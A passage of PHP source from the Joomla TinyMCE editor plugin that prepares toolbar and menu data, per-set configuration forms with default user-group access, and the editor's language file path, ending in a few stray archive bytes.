=> ['label' => 'Table'], 'tools' => ['label' => 'Tools'], 'help' => ['label' => 'Help'], ]; $data['menus'] = $menus; $data['menubarSource'] = array_keys($menus); $data['buttons'] = TinyMCE::getKnownButtons(); $data['buttonsSource'] = array_keys($data['buttons']); $data['toolbarPreset'] = TinyMCE::getToolbarPreset(); $data['setsAmount'] = $setsAmount; // Get array of sets names for ($i = 0; $i < $setsAmount; $i++) { $data['setsNames'][$i] = Text::sprintf('PLG_TINY_SET_TITLE', $i); } // Prepare the forms for each set $setsForms = []; $formsource = JPATH_PLUGINS . '/editors/tinymce/forms/setoptions.xml'; // Preload an old params for B/C $setParams = new \stdClass(); if (!empty($paramsAll->html_width) && empty($paramsAll->configuration['setoptions'])) { $plugin = PluginHelper::getPlugin('editors', 'tinymce'); Factory::getApplication()->enqueueMessage(Text::sprintf('PLG_TINY_LEGACY_WARNING', '#'), 'warning'); if (\is_object($plugin) && !empty($plugin->params)) { $setParams = (object) json_decode($plugin->params); } } // Collect already used groups $groupsInUse = []; // Prepare the Set forms, for the set options foreach (array_keys($data['setsNames']) as $num) { $formname = 'set.form.' . $num; $control = $this->name . '[setoptions][' . $num . ']'; $setsForms[$num] = Form::getInstance($formname, $formsource, ['control' => $control]); // Check whether we already have saved values or it first time or even old params if (empty($this->value['setoptions'][$num])) { $formValues = $setParams; /* * Predefine group: * Set 0: for Administrator, Editor, Super Users (4,7,8) * Set 1: for Registered, Manager (2,6), all else are public */ $formValues->access = !$num ? [4, 7, 8] : ($num === 1 ? [2, 6] : []); // Assign Public to the new Set, but only when it not in use already if (empty($formValues->access) && !\in_array(1, $groupsInUse)) { $formValues->access = [1]; } } else { $formValues = (object) $this->value['setoptions'][$num]; } // Collect already used groups if (!empty($formValues->access)) { $groupsInUse = array_merge($groupsInUse, $formValues->access); } // Bind the values $setsForms[$num]->bind($formValues); } $data['setsForms'] = $setsForms; // Check for TinyMCE language file $language = Factory::getLanguage(); $languageFile1 = 'media/vendor/tinymce/langs/' . $language->getTag() . (JDEBUG ? '.js' : '.min.js'); $languageFile2 = 'media/vendor/tinymce/langs/' . substr($language->getTag(), 0, strpos($language->getTag(), '-')) . (JDEBUG ? '.js' : '.min.js'); $data['languageFile'] = ''; if (file_exists(JPATH_ROOT . '/' . $languageFile1)) { $data['languageFile'] = $languageFile1; } elseif (file_exists(JPATH_ROOT . '/' . $languageFile2)) { $data['languageFile'] = $languageFile2; } $this->layoutData = $data; return $data; } } PK Z��\_;OM M '